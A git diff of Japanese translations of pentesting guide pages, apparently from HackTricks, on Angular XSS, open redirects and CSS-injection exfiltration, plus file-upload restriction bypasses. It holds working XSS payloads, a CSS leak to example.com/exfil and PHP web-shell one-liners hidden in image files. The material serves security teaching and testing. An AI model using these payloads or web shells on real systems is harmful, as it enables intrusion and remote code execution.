さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sourcesまたは Debugger and Sources → \[id].main.js で見つけることができます。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のためにsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、`ng build --source-map`のように。
さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sourcesまたは Debugger and Sources → \[id].main.js で見つけることができます。有効なオプションに応じて、このファイルの最後に `//# sourceMappingURL=[id].main.js.map` という行が含まれている場合もあれば、**hidden**オプションが**true**に設定されている場合は含まれていないこともあります。それにもかかわらず、**scripts**のsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、`ng build --source-map`のように。
## データバインディング
@ -74,14 +74,14 @@ Angularフレームワークは、`tsconfig.json`オプションに従ってType
バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意のパブリックメンバーに対して呼び出すことができます:
| タイプ | ターゲット | 例 |
| TYPE | TARGET | EXAMPLES |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
| プロパティ | 要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| イベント | 要素イベント、コンポーネントイベント、ディレクティブイベント | \<button type="button" (click)="onSave()">保存 |
| 双方向 | イベントとプロパティ | \<input \[(ngModel)]="name"> |
| 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">help |
| クラス | クラスプロパティ | \<div \[class.special]="isSpecial">特別 |
| スタイル | スタイルプロパティ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
| Property | Element property, Component property, Directive property | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Event | Element event, Component event, Directive event | \<button type="button" (click)="onSave()">Save |
| Two-way | Event and property | \<input \[(ngModel)]="name"> |
| Attribute | Attribute (the exception) | \<button type="button" \[attr.aria-label]="help">help |
| Class | class property | \<div \[class.special]="isSpecial">Special |
| Style | style property | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Angularセキュリティモデル
@ -117,13 +117,13 @@ test = "<script>alert(1)</script><h1>test</h1>";
* `STYLE`は、CSSを`style`プロパティにバインディングする際に使用されます;
* `URL`は、`<a href>`のようなURLプロパティに使用されます
* `SCRIPT`は、JavaScriptコードに使用されます
* `RESOURCE_URL`は、コードとして読み込まれ実行されるURLで、例えば`<script src>`のように
* `RESOURCE_URL`は、コードとして読み込まれ実行されるURLで、例えば`<script src>`で使用されます
## 脆弱性
### セキュリティトラストメソッドのバイパス
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例のように
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例があります
1. `bypassSecurityTrustUrl`は、指定された値が安全なスタイルURLであることを示すために使用されます
@ -132,10 +132,10 @@ Angularは、デフォルトのサニタイズプロセスをバイパスし、
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">クリックしてください</a>
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
//結果
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">クリックしてください</a>
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl`は、指定された値が安全なリソースURLであることを示すために使用されます
@ -146,23 +146,23 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//結果
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml`は、指定された値が安全なHTMLであることを示すために使用されます。注意すべきは、この方法でDOMツリーに`script`要素を挿入しても、含まれるJavaScriptコードが実行されることはないということです
3. `bypassSecurityTrustHtml`は、指定された値が安全なHTMLであることを示すために使用されます。`script`要素をこの方法でDOMツリーに挿入しても、含まれるJavaScriptコードが実行されることはありません
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>htmlタグ</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//結果
<h1>htmlタグ</h1>
//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript`は、指定された値が安全なJavaScriptであることを示すために使用されます。しかし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
4. `bypassSecurityTrustScript`は、指定された値が安全なJavaScriptであることを示すために使用されます。ただし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
```jsx
//app.component.ts
@ -171,7 +171,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//app.component.html
<script [innerHtml]="trustedScript"></script>
//結果
//result
-
```
5. `bypassSecurityTrustStyle`は、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています
@ -183,15 +183,15 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//結果
リクエストURL: GET example.com/exfil/a
//result
Request URL: GET example.com/exfil/a
```
Angularは、ビューに表示する前にデータをサニタイズするための`sanitize`メソッドを提供しています。このメソッドは提供されたセキュリティコンテキストを使用し、入力を適切に浄化します。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに`SecurityContext.URL`を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
Angularは、ビューに表示する前にデータをサニタイズするための `sanitize` メソッドを提供しています。このメソッドは提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。例えば、HTMLコンテンツに対して `SecurityContext.URL` を適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
### HTMLインジェクション
この脆弱性は、ユーザー入力が`innerHTML``outerHTML`、または`iframe` `srcdoc`のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は`SecurityContext.HTML`を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティングXSSは発生しません。
この脆弱性は、ユーザー入力が `innerHTML``outerHTML`、または `iframe` `srcdoc` のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は `SecurityContext.HTML` を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティングXSSは発生しません。
`innerHTML`を使用した例:
```jsx
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
<div><h1>test</h1></div>
<div><h1>テスト</h1></div>
### テンプレートインジェクション
@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
Angularは、ページを動的に構築するためにテンプレートを利用します。このアプローチは、Angularが評価するためのテンプレート式を二重波括弧`{{}}`)で囲むことを含みます。このようにして、フレームワークは追加の機能を提供します。例えば、`{{1+1}}`というテンプレートは2として表示されます。
通常、Angularはテンプレート式と混同される可能性のあるユーザー入力\`< > ' " \`\`のような文字)をエスケープします。これは、ブラックリストに載っている文字を使用しないためにJavaScript文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。しかし、これを達成するためには、Angularのコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように見えるかもしれません
通常、Angularはテンプレート式と混同される可能性のあるユーザー入力\`< > ' " \`\`のような文字)をエスケープします。これは、ブラックリストに載っている文字を使用しないようにJavaScript文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。しかし、これを達成するためには、Angularのコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように見えるかもしれません
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -231,7 +231,7 @@ template: '<h1>title</h1>' + _userInput
#### サーバーサイドレンダリング (SSR)
CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはSSRのセキュリティを強化するためにCSRで使用されるのと同じサニタイズメカニズムを適用します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。
CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはCSRで使用されるのと同じサニタイズメカニズムを適用してSSRのセキュリティを強化します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。
もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する際に、新しいテンプレートインジェクションの脆弱性が導入される可能性もあります。
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、これはXSS防止メカニズムを持っていません。
* `Renderer2`がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。`Renderer2`を使用すると、`setAttribute()`メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
```tsx
//app.component.ts
@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
私たちの研究中に`setStyle()``createComment()`、および`setValue()`などの他の`Renderer2`メソッドのXSSおよびCSSインジェクションに関する動作も調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。
私たちの研究の中で`setStyle()``createComment()`、および`setValue()`などの他の`Renderer2`メソッドの動作もXSSおよびCSSインジェクションに関連して調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。
#### jQuery
jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小型かつ機能豊富なJavaScriptライブラリです。しかし、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があることは知られています。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
jQueryは、HTML DOMオブジェクトの操作を支援するためにAngularプロジェクトで使用できる、高速で小さく、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があます。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。
* `html()`メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、`<script>`タグの注入や、コードを実行するHTML属性の使用によって発生する可能性があります。
@ -404,7 +404,7 @@ $("p").html("<script>alert(1)</script>");
<button>Click me</button>
<p>some text here</p>
```
* `jQuery.parseHTML()`メソッドは、文字列をDOMードのセットに変換するためにネイティブメソッドを使用し、それを文書に挿入することができます。
* `jQuery.parseHTML()`メソッドは、文字列を一連のDOMードに変換するためにネイティブメソッドを使用し、それをドキュメントに挿入できます。
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
@ -446,7 +446,7 @@ $palias.append(html);
#### DOMインターフェース
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。したがって、これらは一部のメソッドやプロパティの実装が似ており、これが`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSを引き起こす可能性があります。
W3Cのドキュメントによると、`window.location`および`document.location`オブジェクトは、現代のブラウザではエイリアスとして扱われます。これが、いくつかのメソッドとプロパティの実装が似ている理由であり、これにより、以下に示すように`javascript://`スキーマ攻撃によるオープンリダイレクトやDOM XSSが引き起こされる可能性があります。
* `window.location.href`(および`document.location.href`
@ -481,9 +481,9 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(および`document.location.replace()`
このメソッドは、現在のリソースを提供されたURLのものに置き換えます。
このメソッドは、現在のリソースを指定されたURLのものと置き換えます。
これは、`assign()`メソッドとは異なり`window.location.replace()`を使用した後、現在のページはセッション履歴に保存されません。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。
`assign()`メソッドとの違いは、`window.location.replace()`を使用した後、現在のページがセッション履歴に保存されないことです。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。
```tsx
//app.component.ts
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
`window.open()`メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御することで、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会もあります。
`window.open()`メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御することで、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会も得られます。
```tsx
//app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angularクラス
* Angularのドキュメントによれば、Angularの`Document`はDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。`Document.location`プロパティおよびメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります:
* Angularのドキュメントによれば、Angularの`Document`はDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。`Document.location`プロパティメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります:
```tsx
//app.component.ts
@ -557,8 +557,8 @@ console.log(this.location.go("http://google.com/about"));
}
```
結果`http://localhost:4200/http://google.com/about`
* Angularの`Router`クラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入することはありません:
結果: `http://localhost:4200/http://google.com/about`
* Angularの`Router`クラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入ません:
```jsx
//app-routing.module.ts
@ -566,7 +566,7 @@ const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
結果`http://localhost:4200/https:`
結果: `http://localhost:4200/https:`
以下のメソッドもドメインの範囲内でナビゲートします:
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
バケツの列挙と悪用についてもっと学びたい場合は、このページを確認してください:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## Firebaseとは
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減し、優れたSDKやアプリケーションとバックエンド間のインタラクションを容易にする多くの興味深い機能を提供することに重点を置いています。
Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減することに重点を置いており、使いやすいSDKやアプリケーションとバックエンドの相互作用を容易にする多くの興味深い機能を提供しています。
Firebaseの詳細については、以下を参照してください
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -21,7 +21,7 @@
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
- _file.png.php_
- _file.png.Php5_
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用してみることもできます_)
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**も試すことができます_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -43,7 +43,7 @@
5. 前のチェックに**別の拡張子の層を追加**します:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます:
6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます:
- _例: file.php.png_
7. **Windows**での**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
@ -51,7 +51,7 @@
```
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引いて.pngを追加
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### コンテンツタイプ、マジックナンバー、圧縮リサイズのバイパス
### コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
@ -67,38 +67,38 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
- 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
- ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。しかし、**IDATチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 画像のリサイズを**生き残る**ペイロードを作成するための別の技術、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
- 画像のリサイズを**生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### その他のチェックするトリック
- アップロードされたファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行す
- アップロード済みのファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
- **情報漏洩の可能性**:
1. **同じファイル**を**同時に**何度もアップロードする
2. **既に存在する**ファイルまたは**フォルダ**の**名前**でファイルをアップロードする
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードす。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイルをアップロードする(例: **“…:.jpg”**)。(Windows)
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードする。(Windows)
6. **予約された****禁止された****名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9を持つファイルを**Windows**にアップロードす
- **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することも試みてください。
1. **同じ名前**の**同じファイル**を**同時に**(複数回)アップロードします。
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
3. **“.”、 “..”、または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**をアップロードします。Windows
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。Windows
6. **予約された****禁止された****名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9を持つファイルを**Windows**にアップロードします。
- また、**実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。
### 特殊な拡張子のトリック
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりできます...
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりできます...
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
## **Jetty RCE**
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像に示すように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい \*.xml および \*.war が自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
